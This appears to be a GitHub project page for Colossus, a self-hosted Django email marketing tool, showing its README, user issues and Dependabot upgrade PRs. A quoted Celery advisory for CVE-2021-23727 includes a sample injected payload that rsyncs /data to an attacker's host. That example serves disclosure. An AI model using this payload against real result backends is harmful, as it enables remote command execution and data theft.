Self-hosted email marketing solution

vitorfs, updated 🕥 2022-01-21 19:33:16

Colossus

Build Status codecov Documentation Status

Self-hosted email marketing solution. Compatible with any SMTP email service.

One-click deploy to Heroku:

Deploy

Screenshots

Colossus new campaign

Colossus campaigns

More Colossus screenshots.

Features

  • Create and manage multiple mailing lists;
  • Import lists from other providers (csv files or paste email addresses);
  • Create reusable email templates;
  • Customize sign up pages (subscribe, unsubscribe, thank you page, etc.);
  • Default double opt-in for sign ups;
  • Schedule email campaign to send on a specific date and time;
  • Track email opens and clicks;
  • Change link URL after email is sent;
  • Reports with geolocation;
  • Compatible with Mailgun, SendGrid, Mandrill, or any other SMTP email service.

Quickstart

If you want to have a quick look or just run the project locally, you can get started by either forking this repository or just cloning it directly:

commandline git clone [email protected]:vitorfs/colossus.git

Ideally, create a virtualenv and install the projects dependencies:

commandline pip install -r requirements/development.txt

Create a local database:

commandline python manage.py migrate

Start development server:

commandline python manage.py runserver

Open your browser and access the setup page to create an admin account:

commandline http://127.0.0.1:8000/setup/

PS: Campaign scheduling will not work out-of-the-box. You need to install a message broker and setup Celery properly.

Tech Specs

  • Python 3.6
  • Django 2.1
  • PostgreSQL 10
  • Celery 4.2
  • RabbitMQ 3.7
  • Bootstrap 4
  • jQuery 3.3

PostgreSQL and RabbitMQ are soft dependencies. Other databases (supported by Django) can easily be used as well as other message broker compatible with Celery.

The jQuery library is more of a Bootstrap dependency. There is very little JavaScript code in the project. For the most part the code base is just plain Django and HTML templates.

Complete list of Python dependencies can be found in the requirements files.

Documentation

This is just a pre-release of the project and I still have to work on a proper documentation and user guides.

For now you will only find documentation of the internal APIs in the source code.

colossus.readthedocs.io

Who's using Colossus?

Right now just myself. I'm currently using it for my blog newsletter at simpleisbetterthancomplex.com.

Here is how my sign up page looks like: sibt.co/newsletter

License

The source code is released under the MIT License.

Issues

List Short Url

opened on 2022-03-20 21:28:48 by Elkrypton

Enter a valid 'slug' consisting of letters, numbers, underscores or hyphens.

Bump ipython from 7.2.0 to 7.16.3 in /requirements

opened on 2022-01-21 19:33:16 by dependabot[bot]

Bumps ipython from 7.2.0 to 7.16.3.

Commits


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/vitorfs/colossus/network/alerts).

Bump celery from 4.2.1 to 5.2.2 in /requirements

opened on 2022-01-06 22:26:07 by dependabot[bot]

Bumps celery from 4.2.1 to 5.2.2.

Release notes

Sourced from celery's releases.

5.2.2

Release date: 2021-12-26 16:30 P.M UTC+2:00

Release by: Omer Katz

  • Various documentation fixes.

  • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

    When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

    {
          "exc_module": "os",
          'exc_type': "system",
          "exc_message": "rsync /data [email protected]:~/data"
    }
    

    According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

v5.2.1

Release date: 2021-11-16 8.55 P.M UTC+6:00

Release by: Asif Saif Uddin

  • Fix rstrip usage on bytes instance in ProxyLogger.
  • Pass logfile to ExecStop in celery.service example systemd file.
  • fix: reduce latency of AsyncResult.get under gevent (#7052)
  • Limit redis version: <4.0.0.
  • Bump min kombu version to 5.2.2.
  • Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.

... (truncated)

Changelog

Sourced from celery's changelog.

5.2.2

:release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz

  • Various documentation fixes.

  • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

    When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

    .. code-block:: python

      {
            "exc_module": "os",
            'exc_type': "system",
            "exc_message": "rsync /data [email protected]:~/data"
      }
    

    According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

.. _version-5.2.1:

5.2.1

:release-date: 2021-11-16 8.55 P.M UTC+6:00 :release-by: Asif Saif Uddin

  • Fix rstrip usage on bytes instance in ProxyLogger.
  • Pass logfile to ExecStop in celery.service example systemd file.
  • fix: reduce latency of AsyncResult.get under gevent (#7052)
  • Limit redis version: <4.0.0.
  • Bump min kombu version to 5.2.2.

... (truncated)

Commits


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/vitorfs/colossus/network/alerts).

Installing it on a server

opened on 2021-12-09 00:32:49 by bill0alt

Are there an instructions to install the program not locally but to host it on a domain. I checked the documentation and it only gives the instructions to install it locally and not publicly. Does anybody know how to do it?

SMTP credentials setting not working

opened on 2021-11-14 10:11:57 by 2020rahulsharma

the SMTP credentials setting inside mailing list does not work , i mean the host user and password get stored in the database but django doesn't use that data for email host user and password . what to do now?? how to fix this problem ?? i want to dynamically change the email setting after the app is hosted online

Error :: unable to install requirements

opened on 2021-07-07 12:36:08 by aniruddha-ca

Getting many of these errors while running command


pip install -r requirements/development.txt

Any solution

Building wheel for psycopg2-binary (setup.py) ... error ERROR: Command errored out with exit status 1: command: /usr/local/bin/python3.9 -u -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-3m9k2s8f/psycopg2-binary_d02a87e256d34a7784aaf2664fa971e6/setup.py'"'"'; file='"'"'/tmp/pip-install-3m9k2s8f/psycopg2-binary_d02a87e256d34a7784aaf2664fa971e6/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(file) if os.path.exists(file) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, file, '"'"'exec'"'"'))' bdist_wheel -d /tmp/pip-wheel-kovbjbw4 cwd: /tmp/pip-install-3m9k2s8f/psycopg2-binary_d02a87e256d34a7784aaf2664fa971e6/ Complete output (86 lines): running bdist_wheel running build running build_py creating build creating build/lib.linux-x86_64-3.9 creating build/lib.linux-x86_64-3.9/psycopg2 copying lib/_range.py -> build/lib.linux-x86_64-3.9/psycopg2 copying lib/tz.py -> build/lib.linux-x86_64-3.9/psycopg2 copying lib/_ipaddress.py -> build/lib.linux-x86_64-3.9/psycopg2 copying lib/_json.py -> build/lib.linux-x86_64-3.9/psycopg2 copying lib/extras.py -> build/lib.linux-x86_64-3.9/psycopg2 copying lib/pool.py -> build/lib.linux-x86_64-3.9/psycopg2 copying lib/init.py -> build/lib.linux-x86_64-3.9/psycopg2 copying lib/psycopg1.py -> build/lib.linux-x86_64-3.9/psycopg2 copying lib/sql.py -> build/lib.linux-x86_64-3.9/psycopg2 copying lib/extensions.py -> build/lib.linux-x86_64-3.9/psycopg2 copying lib/errorcodes.py -> build/lib.linux-x86_64-3.9/psycopg2 creating build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_notify.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_bugX000.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/testutils.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_with.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_errcodes.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_sql.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_types_basic.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/dbapi20.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_module.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_copy.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_replication.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_cancel.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_psycopg2_dbapi20.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_bug_gc.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_quote.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_cursor.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_async_keyword.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/init.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_ipaddress.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_fast_executemany.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/testconfig.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/dbapi20_tpc.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_extras_dictcursor.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_connection.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_lobject.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_transaction.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_types_extras.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_dates.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_green.py -> build/lib.linux-x86_64-3.9/psycopg2/tests copying tests/test_async.py -> build/lib.linux-x86_64-3.9/psycopg2/tests Skipping optional fixer: buffer Skipping optional fixer: idioms Skipping optional fixer: set_literal Skipping optional fixer: ws_comma running build_ext building 'psycopg2._psycopg' extension creating build/temp.linux-x86_64-3.9 creating build/temp.linux-x86_64-3.9/psycopg gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/adapter_asis.c -o build/temp.linux-x86_64-3.9/psycopg/adapter_asis.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/adapter_binary.c -o build/temp.linux-x86_64-3.9/psycopg/adapter_binary.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/adapter_datetime.c -o build/temp.linux-x86_64-3.9/psycopg/adapter_datetime.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/adapter_list.c -o build/temp.linux-x86_64-3.9/psycopg/adapter_list.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/adapter_pboolean.c -o build/temp.linux-x86_64-3.9/psycopg/adapter_pboolean.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/adapter_pdecimal.c -o build/temp.linux-x86_64-3.9/psycopg/adapter_pdecimal.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/adapter_pfloat.c -o build/temp.linux-x86_64-3.9/psycopg/adapter_pfloat.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/adapter_pint.c -o build/temp.linux-x86_64-3.9/psycopg/adapter_pint.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/adapter_qstring.c -o build/temp.linux-x86_64-3.9/psycopg/adapter_qstring.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/bytes_format.c -o build/temp.linux-x86_64-3.9/psycopg/bytes_format.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/connection_int.c -o build/temp.linux-x86_64-3.9/psycopg/connection_int.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/connection_type.c -o build/temp.linux-x86_64-3.9/psycopg/connection_type.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/cursor_int.c -o build/temp.linux-x86_64-3.9/psycopg/cursor_int.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/cursor_type.c -o build/temp.linux-x86_64-3.9/psycopg/cursor_type.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/diagnostics_type.c -o build/temp.linux-x86_64-3.9/psycopg/diagnostics_type.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/error_type.c -o build/temp.linux-x86_64-3.9/psycopg/error_type.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/green.c -o build/temp.linux-x86_64-3.9/psycopg/green.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/libpq_support.c -o build/temp.linux-x86_64-3.9/psycopg/libpq_support.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/lobject_int.c -o build/temp.linux-x86_64-3.9/psycopg/lobject_int.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/lobject_type.c -o build/temp.linux-x86_64-3.9/psycopg/lobject_type.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/microprotocols.c -o build/temp.linux-x86_64-3.9/psycopg/microprotocols.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/microprotocols_proto.c -o build/temp.linux-x86_64-3.9/psycopg/microprotocols_proto.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/notify_type.c -o build/temp.linux-x86_64-3.9/psycopg/notify_type.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/pqpath.c -o build/temp.linux-x86_64-3.9/psycopg/pqpath.o -Wdeclaration-after-statement gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DPSYCOPG_DEFAULT_PYDATETIME=1 -DPSYCOPG_VERSION=2.7.6.1 (dt dec pq3 ext lo64) -DPG_VERSION_NUM=130003 -DHAVE_LO64=1 -I/usr/local/include/python3.9 -I. -I/usr/include/postgresql -I/usr/include/postgresql/13/server -c psycopg/psycopgmodule.c -o build/temp.linux-x86_64-3.9/psycopg/psycopgmodule.o -Wdeclaration-after-statement psycopg/psycopgmodule.c: In function ‘psyco_is_main_interp’: psycopg/psycopgmodule.c:689:18: error: dereferencing pointer to incomplete type ‘PyInterpreterState’ {aka ‘struct _is’} 689 | while (interp->next) | ^~ error: command '/usr/bin/gcc' failed with exit code 1


ERROR: Failed building wheel for psycopg2-binary Running setup.py clean for psycopg2-binary Building wheel for python-decouple (setup.py) ... done Created wheel for python-decouple: filename=python_decouple-3.1-py3-none-any.whl size=7916 sha256=8482e86bc663c9abbefac94b0cca1c74fe2b3eefff3851c544f889dfc75aec4a Stored in directory: /home/csestack/.cache/pip/wheels/d4/41/83/3d0b292b9f5a8a5ae3d13833cd02e5c029ab41df830355b682 Building wheel for coverage (setup.py) ... done Created wheel for coverage: filename=coverage-4.5.2-cp39-cp39-linux_x86_64.whl size=214855 sha256=6fb588ff464430f1d0cf1f0d715fdd36e48ad915a08d7489df9b2f01b476bf29 Stored in directory: /home/csestack/.cache/pip/wheels/12/2f/fa/54c36031f93afcdd614a24120baa3b053ef288d731d55df6d3 Building wheel for billiard (setup.py) ... done Created wheel for billiard: filename=billiard-3.5.0.5-py3-none-any.whl size=87880 sha256=a4134dcf6eafc1aafaa520a4de71c7297dd79f17b869724737bebb5a8754c0ea Stored in directory: /home/csestack/.cache/pip/wheels/cc/a8/5d/8fc2e8e4255e5e33e4b3a26ade7a7385e67b4992a8b7e697f9 Building wheel for maxminddb (setup.py) ... done Created wheel for maxminddb: filename=maxminddb-2.0.3-cp39-cp39-linux_x86_64.whl size=45850 sha256=0cbb85e62108b3ec90d2aa190231f5184e30e37e3dab1c80c09e94dac0d4ae7f Stored in directory: /home/csestack/.cache/pip/wheels/ad/0c/82/79e41ebe67044c68a5087459a9ea7447cb0756019071318197 Building wheel for typed-ast (setup.py) ... error ERROR: Command errored out with exit status 1: command: /usr/local/bin/python3.9 -u -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-3m9k2s8f/typed-ast_13e2b13fd3284df9a746449af656e4db/setup.py'"'"'; file='"'"'/tmp/pip-install-3m9k2s8f/typed-ast_13e2b13fd3284df9a746449af656e4db/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(file) if os.path.exists(file) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, file, '"'"'exec'"'"'))' bdist_wheel -d /tmp/pip-wheel-bbj2e61a cwd: /tmp/pip-install-3m9k2s8f/typed-ast_13e2b13fd3284df9a746449af656e4db/ Complete output (24 lines): running bdist_wheel running build running build_py creating build creating build/lib.linux-x86_64-3.9 creating build/lib.linux-x86_64-3.9/typed_ast copying typed_ast/conversions.py -> build/lib.linux-x86_64-3.9/typed_ast copying typed_ast/init.py -> build/lib.linux-x86_64-3.9/typed_ast copying typed_ast/ast3.py -> build/lib.linux-x86_64-3.9/typed_ast copying typed_ast/ast27.py -> build/lib.linux-x86_64-3.9/typed_ast running build_ext building '_ast27' extension creating build/temp.linux-x86_64-3.9 creating build/temp.linux-x86_64-3.9/ast27 creating build/temp.linux-x86_64-3.9/ast27/Custom creating build/temp.linux-x86_64-3.9/ast27/Parser creating build/temp.linux-x86_64-3.9/ast27/Python gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Iast27/Include -I/usr/local/include/python3.9 -c ast27/Custom/typed_ast.c -o build/temp.linux-x86_64-3.9/ast27/Custom/typed_ast.o gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Iast27/Include -I/usr/local/include/python3.9 -c ast27/Parser/acceler.c -o build/temp.linux-x86_64-3.9/ast27/Parser/acceler.o ast27/Parser/acceler.c:13:10: fatal error: pgenheaders.h: No such file or directory 13 | #include "pgenheaders.h" | ^~~~~~~~~~~~~~~ compilation terminated. error: command '/usr/bin/gcc' failed with exit code 1


